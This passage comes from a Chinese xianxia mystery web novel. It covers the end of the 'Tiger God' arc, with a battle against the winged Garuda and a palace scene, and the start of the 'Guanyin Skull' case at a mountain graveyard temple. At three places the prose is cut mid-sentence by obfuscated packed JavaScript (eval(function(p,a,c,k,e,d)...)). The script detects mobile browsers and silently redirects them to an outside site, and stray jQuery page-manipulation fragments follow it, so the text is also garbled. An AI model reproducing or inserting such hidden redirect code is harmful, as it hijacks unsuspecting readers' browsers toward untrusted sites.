秦二娘见雨势不小,这一会功夫她便冻得瑟瑟发抖,急忙拉她到了城墙上,起码哨塔中还有挡雨之处。
她刚想细问事情经过,忽听守门卒高喊,“快看,那鸟人又飞起来了!”
两人都慌忙看向城外。
天地一色,浩茫无边际,只有一棵巨榕独木成林。而在那苍浓墨绿之中,一点红色格外显眼。水面还有一橙一白两点,正是秋慧和君无岐。
“等等。”秦二娘忽然一把抓住傅秀善的手腕,“还有一个……那是谁?”
40. 虎神(十九)
“哈哈哈哈哈哈哈哈哈哈哈哈哈!”
迦楼罗放声狂笑。
“想不到吧,吾此身乃怨念凝聚而成,尔等凡人之剑根本杀不死我!”他洋洋得意道,“况且还有受我灵气所控之傀儡,你大可以斩我,你斩得动他吗?!”
水中缓缓站起一个身影。
是傅文元。
他此时与之前大不相同,皮肤上爬满火红纹路,交错纵横,隐约可见是异邦文字所著的经书,两眼微睁,不见眼白,只一双猩红眼球,没有丝毫理智。他手上空无一物,倒是指甲长得老长,又尖又利,和眼球一般通红。
“啊。”君无岐喃喃,“这下可麻烦了。”
在她眼中,傅文元的魂火已不再是原来微带淡红的浅金色,而已变作毫无生机的枯灰。
“去吧,我的傀儡。”迦楼罗的眼珠在君无岐和秋慧身上来回打转,毫不掩饰那份恶意,“若你们在此杀人,这一个丰城,究竟再怎么信奉虎神?”
傅文元嘶声尖叫。
他纵身扑了过来!
君无岐横剑一挡,只听铛铛铛铛几声脆响,傅文元的指甲刮过剑身,擦出一溜火花。她不能出手反制,唯恐一剑下去连个全尸都不剩,只得连连避让。在她身后秋慧拂过衣摆,面对迦楼罗伏下上身,褐色虎瞳中杀机毕露。
“现在轮到我们较量较量。”她声音低沉,“来!”
迦楼罗丝毫不惧,扑打着翅膀一头撞了过去!
爪牙相击,虎啸鸟啼响彻云霄,震得巨榕都晃了三晃,水面泛起层层波纹,一只恰巧飞过的倒霉水鸟就这么一头栽了进去,再无声息。君无岐眉头紧皱,长袖一拂溅到脸上的水花,应对傅文元时便略见仓促,冷不丁地被他挠了下手臂。
她那麻衣袍子本身质量就只能算说得过去,刹那就开了道口子,传来丝缕痛意。
“嘶,有意识的时候不见这么凶呢。”她皱了下眉,“这时候反倒横起来了。”
傀儡没有任何反应,嗷嗷叫着又要冲上来。
“那我也得拿出点真本事。”她嘀咕着,长剑向上一抛,整个人跃起,竟是在原地跳了个凌空后翻,长腿往剑上一踢,同时手也摸进了袖子里。
长剑破空飞射,平平砸中傅文元脑壳,直接把他抽进了水里。
君无岐落地,从袖中摸出一串铜钱。
“还是这玩意好用。”她满意地点点头,用力一挣扯断绳子,听到傅文元在水中发出“咕噜咕噜”的声音,也不知道喝了多少水,又坚持不懈地爬了起来。
铜钱飞出,落地成阵。
法子不怕老套,好用就成。
君无岐微笑看着那团灰色魂火在阵中失去方向地乱走乱撞,转头要去对付迦楼罗。
“坏了。”她忽的一停,“剑被我扔哪去了?”
秋慧还在和迦楼罗打得天昏地暗,鸟毛并虎绒齐飞,平分伯仲,难分秋色。巨虎正打得火从心起,忽听一道尖啸,数道水锥破空而来,径直冲着迦楼罗飞去。
尖啼炸耳,扑腾腾落下一大片鸟毛。
秋慧也被擦掉了几根毛发,跳骂,“你看着点!”
她随即狐疑道,“你剑呢?”
“别管那么多了,先对付他!”君无岐面无愧色,飞奔而来,“看爪!”
秋慧心想她不是听说这帮练剑的都把剑看得比命重吗怎么还有个例外,身体已经先于脑子扑了出去,一掌糊在迦楼罗腰腹上,把他拍出去足有数丈远,鸟毛簌簌掉落。
这鸟都快被削成秃毛鸡了。
“有没有什么办法能赶紧解决他?”她抖了下耳朵,敏锐地捕捉到远处越来越喧闹的动静,“城门那边……啧!”
君无岐有点心不在焉,“嗯,有办法,但是得拖段时间……”
秋慧又看了她一眼。
她忽然明白过来什么,登时大怒,“你把我牙丢了?!”
“别这么说,是剑,剑。”而此人还在狡辩,“你也知道我是个瞎子,一不小心打上头了就……”
“我真是欠了你的!”秋慧愤然腾跃,撼得水面晃动,泛起万朵浪花,其中一声“当啷”格外明显。她晃过迦楼罗劈来的刀锋,尾巴一甩,“还不去捡!”
用不着她说,君无岐已经在路上了。
“躲——开——”
长剑被她一脚踢起,飞身接过,坠落之时她抬臂顺势挥出,瞬间爆出一排白色剑芒,分水劈浪而去,险险擦过迦楼罗的爪尖。那剑风去势不改,嚓地刮过巨榕,只听令人牙酸的吱呀声还来不及拖出个尾巴,一根树杈已轰然落水,砸出丈高水花。
迦楼罗早就防着她的剑,见状更不肯靠近她,吊着秋慧要向远处去。
君无岐刚要追上,身后铛啷啷金玉声响,竟是傅文元不知如何挣脱了僭阳阵,正向她再度奔来!
而更远处,越发汹涌的人潮高呼一波高过一波,其中还夹杂着不详的木材断裂声——丰城城门要顶不住了!
君无岐仓促之下一摸袖子,里面只有一把纸片,已经尽数被水打湿,黏成一坨。她这才想起因为时间紧张,忘了给袖袋施避水诀。
真是屋漏偏逢连夜雨。
“不妙啊。”她喃喃,高喊一声,“召南!”
“来了!”一直远远看着的猫化作马驹狂奔而来,二话不说叼住傅文元后衣领径直将他拖走——准确来说是试图将他拖走,四个蹄子刨了半天俩人还在原地,也就移出了尺步远。
但无论如何,这边已经不需要她操心。
君无岐转头就往迦楼罗那边去。
战局与之前相比没什么变化,谁也奈何不了谁。
“慧姐!”她高呼,“城门!”
尾音还未落水,就听一道极其恐怖的切切喀喀声遥遥传来,紧接着就是城门开启时漫长的吱——
城门开了!
从那里到巨榕,若走得快,用不了一盏茶。
她们没有时间了!
迦楼罗猖狂大笑,充满得意,“他们只要来了就是我的盘中餐,我将立于不败之地,而你等悖逆之人,皆当造作星群十天,以慰尊者!”
“摩尼大慧,明尊煌煌;具智法王,赐我灵相!”
六支金翅再度延展,直至几乎遮天蔽日,迦楼罗那通红的面孔上浮起金色法纹,口尾相衔,乍看如蛇群涌动。莲花虚影狂飞乱舞,围在他身边,恍然间竟还真有几分威严之相。他睁开眼睛,面上克制不住地浮起胜利之色,根根金羽合拢又伸展,离体而出,铺得满天满野,跃跃欲试。
这家伙之前一直都是在拖时间!
君无岐已无暇细想许多,狠掐一下掌心,二话不说,转身就走!
迦楼罗一愣。
“怕了?”他狞笑,“想走已经晚了,给我留下!”
他身周忽的蒸腾出大团白雾,水面炸起三丈水花,一路追风疾电跟她而去,眼看就要扑上衣摆,却听一声穿云裂石的虎啸,秋慧纵身扑来,挡在面前。
“你的对手是我。”她咧开唇角,胡须抖动,“再来!”
她身形虽然庞大,但行动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837583|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却极其轻捷灵活,漫天激射的水箭几乎伤不到半分皮毛。此前多次交手已经能让她确定,这个红毛鸟人能仰仗的无非就是金莲和爪钩,自身战斗水平不能说一点没有,只能是聊胜于无。
她离得越来越近。
迦楼罗有点急了,身周莲花再度变幻,凝结成一张泛着红光的巨网,兜头朝她飞来。秋慧去势不改,忽的身周飞出柄长剑,刹那间分成十数道,转眼就将大网撕碎!
是此前君无岐用的那把。
秋慧破网而出!
她张开口,枚枚尖牙锐利如匕,闪烁着噬人寒光,刚才她就是用这样的牙齿咬断了迦楼罗射来的箭,而此时它们正受主人驱使,唰地刺入迦楼罗腰腹!
半空中发出令人胆战心惊的脆响。
而这一切只不过发生在几息之间。
秋慧牙齿咬合,只觉自己咬得不是血肉,而是一团泥或者水,空空荡荡,毫无实感。迦楼罗六翼猛地一挣,竟然生生撕下那片身体,径直弹开了!
他身体中间空了一大块,上下几乎没有连接,煞是可怖,然而就在短短几个眨眼之间,那段躯体竟然挣扎着生长,再度合了起来。
“我说过你杀不死我!”他紧紧盯着秋慧,“我无实体,你费多大力气都是无用!”
秋慧一言不发。
她呸地吐掉口中物什,那团东西竟然如冰化水,渐渐消失了。
果然是精魅鬼怪之流。
秋慧心中念着君无岐那个家伙怎么还没好,但并不影响她再度起身冲向迦楼罗。这次鸟人学了乖,不再搞什么渔网弓箭,金莲大半化作长鞭,蛇一般激射而出,朝秋慧身上缠来!
巨虎立马转头去咬。
迦楼罗虽然脑子有点问题,但实力确实是有,这长鞭环环扣锁,说是鞭子,其实叫成锁链更合适,角度刁钻,生生避过虎口,牢牢在她身上一贴!
巨虎发出一声痛呼。
这缺德到了家的玩意,居然在锁链上生出了尖刺!
一瞬间皮毛刺穿,长毛染血,秋慧全身剧痛,差点当场俯卧。但她还牢牢记得自己的职责,对空怒吼,身形居然在那一刻膨胀开来!
啪!啪!啪!
锁链被生生崩断,猩红血迹夹在黑色斑纹中竟也不那么明显。巨虎体型暴涨到数丈高,几乎要与巨榕比肩,重重一拍水面,顿时地动山摇,树叶簌簌而落,就连整个丰城都在剧烈摇晃!
正往虎野泽赶来的人群下饺子般接连跌倒,还不等反应过来发生了什么事就见远处矗立的巨虎身影,顿时心动神摇,纷纷跪在地上。
秋慧拍出一掌。
迦楼罗在她面前犹如小孩对着大人,体型完全不占优势,被这一下的掌风呼得头晕目眩,正欲再拉开一点距离,忽然见她身上滚落血珠,将身下水面染成一片血海。
“原来如此!”他惊喜大笑,“很痛苦吧?你坚持不了多久!”
硕大的虎瞳冷冷盯着他。
迦楼罗兴奋至极,现在与成功简直只有一步之遥,他马上就可以等着这巨虎脱力,然后毫不费力地吃掉她,至于那个耍剑的……
不等他继续畅想,面前巨虎朝他咆哮一声,尾巴已经当头抽了过来。
啪!
迦楼罗被抽的晕头转向,再一睁眼时发现自己正在湖心,大雨模糊地平线,只能靠巨榕来辨别方向。而那头方才还气势凌人的巨虎,此时已经不见踪影。
这是什么……情况?
他愕然发现树下有人。
是君无岐。
41. 虎神(二十)
“我已等候你多时了。”
她微笑。
迦楼罗发现她没有带眼纱。
那是一张世俗意义上绝对称得是美人的一张脸,但没有人会在看到她的第一眼注意到她的容貌。眉心一道竖纹,像是伤疤,但仍旧猩红如血,仿佛刚刚才被刻上。比这道伤疤更显眼的是她的眼睛。
那是一双烈烈燃烧的黄金瞳。
如火焰,如日光,如无边大海夕阳残照下的余晖。
但很奇异的是其中没有杀气,眼角低垂,睫毛覆盖着小半个眼球,甚至有几分柔和,甚至……悲悯。
与她自身气质格格不入,又隐隐相容。
“这里是哪?”迦楼罗惊恐地发现城、人都不见了,这里只有湖、树,还有永不停歇的雨,“你怎么办到的……你究竟是谁?”
“这里是幻境,我为你量身打造的囚笼。”君无岐轻声说,“不必试了,你逃不出去。”
她向前一步。
有零碎碰撞之音。
迦楼罗这才发现她腰间居然配了一把剑。这剑完全不是何府中收藏能比的,甚至秋慧之齿在它面前都只能算是普普通通,光华内敛,锋芒照水,剑身比寻常多出三寸,恰恰悬在水面之上三分。
“这是我师尊当年为我锻的一把剑,历时两年零九月。”君无岐怀念地轻轻拂过剑身,“当时我为她取名‘君子’,后来也有人这么称呼我。”
她抬起头。
“当然,他们也叫我天下第一剑。”
迦楼罗浑身剧震。
“这、这不可能!”他惊呼,“你不是死了吗?”
“你知道我?”君无岐挑眉,“我现在倒越来越好奇你们到底是个什么组织了。”
“你还没有那个资格!”迦楼罗狂啸一声,正要拍打翅膀飞上天空,忽然身上一坠,顿时如同个物理意义上的铁公鸡一般咣当掉了下来。
“我都说了这里是为你专门打造的笼子,怎么就非得找这个罪。”君无岐叹息,“看,变成落汤鸡了。”
迦楼罗何止是落汤鸡,他如同被一只看不见的大手抓住一般,肆意揉圆搓扁,爬都爬不起来。他正在水中挣扎,忽然眼前一黑,抬头一看是君无岐站在了他的面前。
她低头。
拔剑。
迦楼罗那一瞬间终于知道,什么叫做一剑霜寒十四州。
他以前一直都是个很没文化的人。
其实不只是以前,现在也是。
虚幻的身体生出真实的感觉,被撕裂的痛苦席卷全身。迦楼罗躺在水中,水波碰着脸,忽然只觉一切都颠倒了过来。
不该……明明不该是这样的……
他竭尽全力地伸出手,浪花溅起,出现在他面前的有六个手掌,三十根手指。
他忽然愣住了。
但那怔愣也只有很短的时间,因为在下一刻,这六根手臂都被一剑平平削掉,血柱冲天而起,混入雨中。那种之前面对她的恐惧又回来了,而这只需要一剑,只要一剑!
她和他幻想中想成为的样子一样强。不,比那更强。
迦楼罗只觉天旋地转。
死亡再一次追上了他。
“不……不!”他尖叫起来,“不是这样的!大明尊说过,他明明说过!”
君无岐饶有兴趣地看着他。
“说过什么?”她问。
“他说过我会变得强大,无人匹敌!”他在水中翻滚哀嚎,“他骗我!他骗我!”
君无岐有点无法忍耐地掐了下眉心。
太吵了。
水面忽然暴涨,淹没他的身体,只有面孔露在外面。沉在水中和冻在冰里的感觉没什么区别,迦楼罗瞬间一动不能动。君无岐踏在水面上,居高临下地看着他。
“现在,告诉我。”她冷冷道,“我没多少耐心。”
迦楼罗止不住地战栗。
“我……我们教派叫做摩尼教。”他乖怯地回答,“阿坎沙说大明尊来自天上,那里人人皆可以成佛,只要……呃!”
说到一半,他忽然眼珠暴突,喉咙格格作响。君无岐心生不妙,急忙追问,“只要什么?”
“只……要……”
迦楼罗通红的眼珠转向她,一截舌头在口中颤动,舌尖探出嘴唇。只是话未说完,就见那截舌头扑得掉出口腔,软软滚落。与此同时,他身上爆射出不详的红光,维持了短短一个瞬间,不等君无岐偏头躲避,那光芒便消失不见了。
他死了。
君无岐尚来不及思考迦楼罗话中含义,忽觉脑中剧痛,眼珠如同有生命般狂跳不止,视线也在刹那模糊不清。她心知自己这是使用力量过度,只是已经根本来不及挽回,那股刀割火烧般的痛苦顺着脊椎一路下窜,遍布经身脉络,她再也支撑不住,身体倾倒,噗地吐出口血来。
“齐君!”
朦胧中隐约见到秋慧正狂奔而来。
幻境与外界时间流速不同,她在里面耗了半盏茶,于外界来看只是一个呼吸。因此在秋慧眼中,迦楼罗刚被她一尾抽飞,身影便渐渐变淡直至消失,而站在树下的君无岐,刚才还好好的,突然就开始咳血。
雨忽然停了。
云层破开,一束阳光自空洞中落下,将巨榕笼罩其中。君无岐闭着眼,眉心那道红纹泛起一点金色,竟似活了似的往中央一收。
一道血痕自她右眼淌落。
召南追着秋慧一并过来,见此情景差点魂飞魄散,“无岐,你怎么了无岐!”
秋慧耳朵动了动。
她遥遥一望正往这边赶来的人群,当机立断下了决定,“走,先回桃花源。”
。
“这天资是我生平仅见,天生就是个学剑的料子。”
“哼,那是自然。”
“你不为她准备一把剑么?普通的剑可配不上她。”
“那还用你说。我早就在藏金阁下了订单,用最好的料子,比寻常剑长出三寸,必定适合她。”
“准备这么周到?看来你相当看重这孩子啊。”
“去去去,我徒弟,我不看重谁看重?”
“哈哈哈哈……”
梦中的笑声似乎还在耳边,君无岐睁开眼的时候有点恍惚。
身侧有个温暖柔软的东西紧紧贴着她手臂,只不过轻轻动了一下,就听到那东西唰地蹦起来,惊喜万分,“你醒啦!”
居然是召南。
她心下温软,正待伸手摸一下它的脑袋,就见它蹭一下蹿了出去,几息后满屋都是它的喊声,“醒了!醒了醒了!”
君无岐,“……”
她面无表情。
屋里挤满了人,胡奶奶正托着她手腕念念有词,也不知道是正儿八经地把脉还是在进行一些迷信活动,她旁边是人形秋慧,神情略带担忧,还有一丝不知针对谁的淡淡的不满,另一边则是苏敏静母女,俩人紧紧挽着手臂,想必久别重逢后都很激动……这些人出现都很正常,可为什么后面还有关惊澜和秦二娘?
她问出自己的疑问。
“你不知道,你晕了以后二娘带着秀善小姐来找傅文元呢。”召南占了个最好的位置,牢牢扒在床边上,“结果她情绪太过激动,一下子也晕了,慧姐就一块把她们也带进来啦。惊澜后来来找二娘,胡奶奶做主,给她开了门。”
原来是这么回事。君无岐道,“城中没出什么事吧?陈青黛找到了吗?”
关惊澜摇摇头。
“我追上了她的马车,可车中无人,只有一枚青色羽毛。”她脸色很不好,“城中她安排的那些人也都抓了,可问来问去都是拿钱办事,关于她到底是什么身份一概不知。”
“说到这个,剩下的尸体也找到了,都在知州藏匿迦楼罗的那处秘洞下面。”秦二娘补充,“现在还在挖掘,具体多少人不清楚,不过绝不会低于五十。”
其他人都倒抽了口冷气。
“这贼人真是猖狂。”苏敏静脸色苍白,“现在想来,还好傅必先已死,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846772|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
否则若是牵连到孩子们……”
她低下头,眼眶通红。
傅秀善急忙给她拿帕子擦脸,说道,“傅文元没事,但也还没醒。我已做主卖了宅子,得来钱财尽数用来安葬尸骨,愿她们安息。以后我就陪着娘一并在这里生活啦。”
听起来她已不打算管傅文元的死活了。
“唉,城中藏着如此穷凶极恶之人,我们却全然不知。”胡奶奶怅然道,“现在想来,数年前那些离村回城却再无音信的孩子,就是遭了他的毒手吧。”
秋慧面色一动。
“你莫不是打算?”
“秋慧啊,一味的保护是没有用的,我早就同你说啦。”她慈爱地看着她,“我们保护得了逃来村里的人,却也只有这么一点人而已,譬如那些离开的人,譬如小桃,你又该怎么保护她们呢?”
秋慧抿了下嘴唇。
“况且这次大战,城中对你的信奉更加狂热,这可不是个好事。”胡奶奶慢悠悠地放下手,“趁我还能动,我们还是考虑考虑未来该如何吧。”
秋慧沉默片刻,终究还是点点头。
“你说得对。”她道,“改日我们再细聊此事。”
众人目光便又都回到君无岐身上。
“你感觉如何了?”秋慧神色有点别扭,“若是还不爽利,可以一直歇着。”
君无岐笑着摇头。
“多谢。”她摇摇头,“先前一直不曾告知真名实在抱歉,我本名君无岐。并无他意,只是若有人知晓我在此处,恐怕会为你引来灾祸。”
秋慧那点不满化为忧心,“什么样的仇家?可用得上我帮忙?”
“不必。”她轻声道。
“我自己应付得来……只是现下状况,我必须尽快赶到德陵。”
。
京城,皇宫。
“啪!”
一只官窑粉彩瓷杯重重掷在地上,摔了个粉碎。当朝皇帝陛下仍然怒气未消,背着手在屋中走来走去。
“都是干什么吃的!一城之主竟能瞒过如此之多眼睛,犯下此等滔天大罪!”他咆哮道,“若传出去让朝廷的脸往哪搁?朕的脸往哪搁?”
堂下一众人等皆喏喏,不敢吭声。
“一帮子废物,看见你们就烦。”元琇烦躁地一摆手,“明晖呢?让她来见朕!”
堂外脚步声踏踏,片刻后一人从容而来,行礼道,“陛下,臣来迟。”
这人身材高挑,面目清秀,衣前绣猛虎下山之形,一看就是个高阶武官。元琇见了她后也不多话,径直下令,“你即日起便去丰城,给我好好查查这案子。若有悖逆之徒,朕许你先斩后奏之权!”
明晖直起身,沉稳道,“臣接旨。”
“好了,不想再看见你们,都走!”元琇背过身去。
众人便接连退下。
明晖最后一个走出屋门,外面不远处站着个饰金镶玉的女子,见到她便笑,“兄长对你发火了?”
她摇摇头,“并未。只是又差我去办件案子。”
“什么?”那女子当即柳眉一竖,“你才回来多久,又派你出去?他这朝中无人可用了是吧!”
“嘘。”明晖急忙捂住她的嘴,“别这么说。”
“哼,听到了又有什么,反正大权还不是在母亲那里。”玉宁公主愤愤,“我去同兄长说,让他换个人去!”
“哎!”明晖急忙拉住她,“你别去,本来他就在气头上……没事,很快就回来了,到时我给你带崇阳府的特产如何?”
“好吧。”玉宁这才作罢,“那你快回去歇歇吧,到时我为你送行。奔波多日,辛苦你了。”
“应该的。”明晖朝她行礼,“那我就走了。”
她走向正在远处等她的潘白英,两人一前一后,背影很快就淹没在宫殿红墙之后,消失不见了。
玉宁站在原处,眯起眼睛。
“崇阳府。”她低声道,“丰城?”
【第二案·虎神·完】
42. 观音颅(一)
夜色四合,天中不见明月高悬,只有层层黑云堆起,遮得天光黯淡。山中凄寒僻冷,阴风阵阵,是个正常人都不会选在此时出行。
“所以正确的方向到底是哪边?转来转去都没能出去,反而越来越偏了!”
山林中传出猫崩溃的喊声。
“别说村庄人家了,连个破庙都没有!今夜不会要露宿野外吧,不要啊!”
“没事的,反正之前又不是没露宿过……”
“那能是一回事吗?在这里露宿感觉半夜会有鬼来啊啊啊啊啊啊啊!”
召南趴在君无岐身上摇来晃去,尾巴焦躁地拍打着她脊背,时不时还窜到她脑袋边上魔音贯耳。狂风暴雨中君无岐岿然不动,一手握着竹杖,另一只手又掐又拈,不知道在算什么。
片刻后,她手一松。
“今夜星辰遮蔽,算不出来。”她有些苦恼,“还是得选个月明星亮的好时候……”
“不要无视我!混蛋!”召南猛地蹦上她脑袋,后腿往脖子上一勾,“你自己都没自觉的吗!我们迷路了!迷!路!了!”
“你最近真的越来越暴躁了,召南。”君无岐抬手把它摘下来,“平心静气有益于延年益寿,气性太大容易伤心损肝……”
召南拿肉垫拍她。
“你倒是看看现在是什么状况!”它喵嗷大叫,“你先想个办法让咱们出去行不行?”
“唉,上次在山中迷路还有黄豆相助,这次迷路只能靠自己了吗……”她喃喃,“就不能天赐我一条康庄大道,走上去便能心随意转,想去哪就去哪……”
话音刚落,就听到林中扑啦啦响动,好似有什么野兽正飞奔而来,速度极快。召南刚拱起脊背作出攻击姿态,就见那东西呼啦窜出,扑到面前!
“喵!”
召南一爪抓去,抓了个空。
那东西灵活至极,却似乎没什么攻击性,只是停在君无岐面前,吱吱喳喳吵个不停。
是个刚到她腰腹高的猿猴。
说是猴子其实也不太像,人立在地,两耳似鸟羽,长长地立在两边,眼中仿佛带哀求之色,小心翼翼地来拉她。
召南对一切靠近君无岐的非人形带毛生物都十分警惕,顿时就要开始作妖,“你干什么?离远点!”
“吱吱吱吱吱!”小猴看起来十分着急,一边叫一边还频频向后看,两只前爪合起来作拱手的动作,“吱吱吱!”
召南迟疑,“这是什么意思?求救?”
“看样子附近有人受难,我们去看看。”君无岐当机立断道,“请你带路。”
小猴竟像是能听懂一般,立刻转身跑到兽道前,“吱吱”催促起来。
君无岐掂了掂肩上的猫,跟着小猴向前走去。
山林中的路着实不好走,先前她在照虹山便领教过,这里更是有过之而无不及。他们仨在林子里磕磕绊绊走了一刻多钟,忽听到不远处传来呼救声。小猴一听就急了,嘴里不断吱吱叫着,频繁回头看她,看样子恨不得立刻冲过去。
“有人吗?有没有人?”听起来是个女声,因长久说话嗓音十分沙哑,“救命,救命……”
尾音里还带着些哭腔。
这是片小山坡。
没有树,向阳,地上生着些杂草野花,踩一脚触感十分密实,中间人为分出了道路,若是白天站在这里一定风景相当不错……当然如果能忽视这里是坟地这一事实的话。
几十个坟包排列得不甚整齐,墓碑也有新有旧,其中一个甚至还摆着贡品,旁边那座墓碑歪斜,地上破开一个大洞。不远处有座小庙,庙身不过丈长,一个姑娘正趴在屋顶上,哀哀求救。
底下有个腐烂了一半的尸体贴在墙上,生蛆的眼珠直愣愣盯着她。
听到小猴的声音她立刻抬起头来,惊喜万分,“毛毛,你回来了!”
小猴手舞足蹈地要过去帮她,那僵尸回头,朝它嘶嘶吐气,它马上又不敢了,回头对着君无岐发出“呜呜”求救声。
君无岐摸了摸袖子,里面还有几张符。
“算了,省着点用,这东西犯不着。”她自言自语,“这个应当也可以。”
“太上台星,应变无停。驱邪缚魅,保命护身。智慧明净,心神安宁。三魂永久,魄无丧倾。急急如律令!”
话语声落,那僵尸原地晃悠了两下,扑腾摔倒在地。
“哇。”庙顶的姑娘瞪大眼睛,身手利索地跳下来,小心翼翼凑过去,在那尸体上踢了踢,“好厉害!”
她目光熠熠看过来,“多谢大仙出手搭救!我叫童桐,就住在山下,今日上山来祭拜父亲,谁知道竟然起了尸……我在庙顶上都待了三个时辰了,若不是您,怕不是要困一整夜!敢问大仙高姓大名?”
“我叫齐君。”君无岐笑道,“在这里碰到童姑娘也是缘分,不知你可认识下山的路?”
“那当然是认得的!”童桐一把把朝她跑来的小猴揽在怀里,认真道,“只是现在天黑路难走,若是强行下山,势必得折在山里,我们不如。”
她左右张望一下,“先暂且在那庙中一歇吧!”
她指的正是之前躲藏所用的庙宇。
君无岐跟着她过去,听到门板开启时长长“吱呀”一声,触手粗糙生硬,想必已经掉了大半的漆。里面空间不大,除了一座神像外再无他物,地上躺她们二人应当也还足够。
“好奇怪。”召南“咦”了声,“这里面供的居然是座观音。”
供观音不稀奇,稀奇的是在坟地旁供,若这里面是厚土娘娘或者阎王森罗,那倒正常,可观音又不掌管世间生死,怎么会放在这里呢?
“咦,你的猫咪会说话?”童桐颇感新奇地看了眼召南,“是啊,我也不知道为什么,但自从我记事的时候,这里供的就是观音娘娘啦。”
说着,她面对神像,双手合十深深一拜。
“请观音娘娘保佑我们,这一夜平平安安。”她虔诚道,“明天下山也顺顺利利。”
观音于高台之上持瓶拈花,微笑不语。
“大仙这里来!”童桐脱了外衣,草草擦了擦几块地砖,“条件简陋,但总比睡在外面强,您多担待。”
“能有地方睡就很好。”君无岐笑道,“时候不早,就此歇息吧。”
二人匆匆收拾一下,各自揽着自己的小动物入睡。
夜半,时近凌晨。天空中的云堆不知何时散了,一弯月钩高悬天上,洒下浅淡清辉。小庙的窗户被风吹动,哗啦响了一声。召南被轻响惊醒,缩在君无岐怀中打了个哈欠,正要再度睡去,余光忽然瞟到一抹幽蓝。
它哈欠打到一半,愕然睁大眼睛。
不知道哪里飞出只蝴蝶。
那蝴蝶大小有人手指长,翩翩飞行之时闪烁着蓝光,时不时还落下些荧光鳞粉。它围绕着观音像盘旋向上,马上飞到口鼻之时忽然一僵,啪嗒一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907091|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下落到地上,不动了。
召南急忙推醒君无岐。
“蝴蝶!”它胡子都绷紧了,“飞到一半忽然死了。这里肯定有古怪!”
君无岐还没彻底清醒,睡意朦胧地坐在原地,“什么?什么蝴蝶?”
童桐也醒了,揉着眼睛拍拍毛毛,“怎么了?猫咪看到什么了?”
她一眼就看到了地上犹在闪光的蝴蝶。
“哪来的蝴蝶?”她狐疑道,“门窗都是关好的,怎么进来的?”
她凑过去仔细打量一番,抓抓头发,“我没见过,这肯定不是我们本地的!”
她和召南面面相觑。
“呃,这也证明不了什么吧,要不我们还是睡觉?”童桐建议,“我好困啊……”
而君无岐已经用行动证明态度,啪一下躺了回去。
“你怎么一点都不上心!”召南急了,踩她胳膊,“万一有危险呢?荒郊野外的,连个能求救的地方都没!”
“没事的,有我在这,你怕什么。”君无岐一把把它塞进怀里,毛茸茸一大团手感确实舒服,“人来杀人,鬼来斩鬼,好吧?”
召南费力地把自己脑袋钻出来,轻轻哼了一声,却不再说话,拿长尾环住她手腕。
一夜再无事发生。
第二天一早,两人一猫一猴便准备下山。
“我们村子就在山下,离城里不远。”童桐说道,“大仙既然要往德陵城中去,不如先去我家用顿饭再走吧?”
“那我就却之不恭了。”君无岐笑道。
两人在山中行走,有了明确方向后其实速度很快,太阳尚未悬于中天,便已到了目的地。这里确实是个小村庄,沿途可见不少庄稼地,还有人正在田中劳作。童桐家在村落边上,靠着一条小溪,她打开柴门,毛毛就迫不及待地冲了进去。
“家中还有些腊肉,炒来食可好?”她捡了几根柴进东屋,探出个头来问,“大仙可有忌口?猫咪呢?”
君无岐对这些的态度都是无可无不可,倒是召南理直气壮地点了鱼虾。童桐笑眯眯的,只一连答应,转头就去做饭了。
一人一猫在她家院落中转了几圈。
很普通的农家小院,一个大院子,里面种了点葱韭之类的菜,旁边搭了个架子,上面缠绕着累累豆藤。北边是柴房和茅厕,南边是正屋,毛毛一回来就钻了进去,也不知道在忙什么。除了这些之外,最值得注意的就是院中晾晒的东西。
一根细绳上,挂着一身色彩缤纷、沉重复杂的衣服,饰以彩色丝绦,还有银铃、珠玉等物,一看便知其贵重。
这是巫裙。
召南悄悄在她耳边说,“我在门缝里看到,里面有好多面具,眼睛瞪得老大,还长獠牙呢。”
那一定就是与这衣服配套的面具了。
“萨满?”君无岐嘀咕,“看起来不太像啊……”
正当她们乱逛时,外面传来凌乱脚步声,一个妇人嘭的打开柴门,高声道,“童巫,童巫你在吗?”
童桐匆匆从灶房出来,拍拍手上的灰,“在呢,怎么了李婶子?”
“哎呀,我家那口子又魇着了,你快跟我去看看吧!”妇人焦急道,“现在正在家中大吵大闹,好几个人都按不住!”
童桐二话不说,就要跟她前去,临走到门前又停了下来。
不等她开口说话,君无岐先开了口。
“我与你一同前去。”
43. 观音颅(二)
李婶子家在村庄另一边。
她一边走一边解释状况,面上压不住的焦急,“他昨夜出去与人喝酒,半夜才回来,二话不说就躺下睡了,我也没在意。谁知道今早起来就开始闹腾,一开始说家中有鬼,闹着闹着,竟然还要打人!”
